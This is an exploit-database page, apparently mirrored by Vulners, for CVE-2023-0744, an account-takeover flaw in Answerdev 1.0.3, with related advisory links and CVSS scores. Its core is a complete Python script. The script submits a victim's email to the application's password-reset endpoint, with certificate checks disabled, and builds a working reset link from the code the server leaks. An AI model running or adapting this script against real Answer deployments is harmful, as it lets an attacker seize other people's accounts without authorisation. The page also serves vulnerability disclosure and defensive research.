Lucene search
+L

Answerdev 1.0.3 - Account Takeover Exploit

🗓️ 05 Apr 2023 00:00:00Reported by Eduardo Pérez-Malumbres CerveraType 
zdt
 zdt
🔗 0day.today👁 206 Views

Answerdev 1.0.3 Account Takeover Exploit. Code execution via user password rese

Related
Code
ReporterTitlePublishedViews
Family
huntr
Huntr
Account Takeover via reset password
24 Jan 202317:02
–huntr
bdu_fstec
BDU FSTEC
Answer Password Reset Unauthorized Access
15 Feb 202300:00
–bdu_fstec
circl
Circl
CVE-2023-0744
8 Feb 202312:24
–circl
cnnvd
CNNVD
answer 访问控制错误漏洞
8 Feb 202300:00
–cnnvd
cve
CVE
CVE-2023-0744
8 Feb 202300:00
–cve
cvelist
Cvelist
CVE-2023-0744 Improper Access Control in answerdev/answer
8 Feb 202300:00
–cvelist
exploitdb
Exploit DB
Answerdev 1.0.3 - Account Takeover
5 Apr 202300:00
–exploitdb
euvd
EUVD
EUVD-2023-0620
3 Oct 202520:07
–euvd
github
Github Security Blog
Answer contains Improper Access Control vulnerability
8 Feb 202309:30
–github
mend
Mend
CVE-2023-0744
8 Feb 202300:00
–mend
Rows per page
# Exploit Title: Answerdev 1.0.3 - Account Takeover 
# Exploit Author: Eduardo Pérez-Malumbres Cervera @blueudp
# Vendor Homepage: https://answer.dev/
# Software Link: https://github.com/answerdev/answer
# Version: 1.0.3
# Tested on: Ubuntu 22.04 / Debian 11
# CVE : CVE-2023-0744


from sys import argv
import urllib3
from requests import post

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def ato(url: list, email: str) -> str:
    try:
        return f"Your Link: {''.join(url)}users/password-reset?code=" + \
               post(f"{''.join(url)}answer/api/v1/user/password/reset", json={"e_mail": email}, verify=False).json()["data"]
    except Exception as err:
        return f"Cant reach URL: {err}"


if __name__ == "__main__":
    if len(argv) != 3:
        print(f"Usage: {argv[0]} https://answer.domain/ [email protected]")
        exit()

    print(ato([argv[1] if argv[1].endswith("/") else argv[1] + "/"], str(argv[2])))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Apr 2023 00:00Current
9.6Critical risk
Vulners AI Score9.6
CVSS 3.19.8
CVSS 39.8
EPSS0.06368
SSVC
206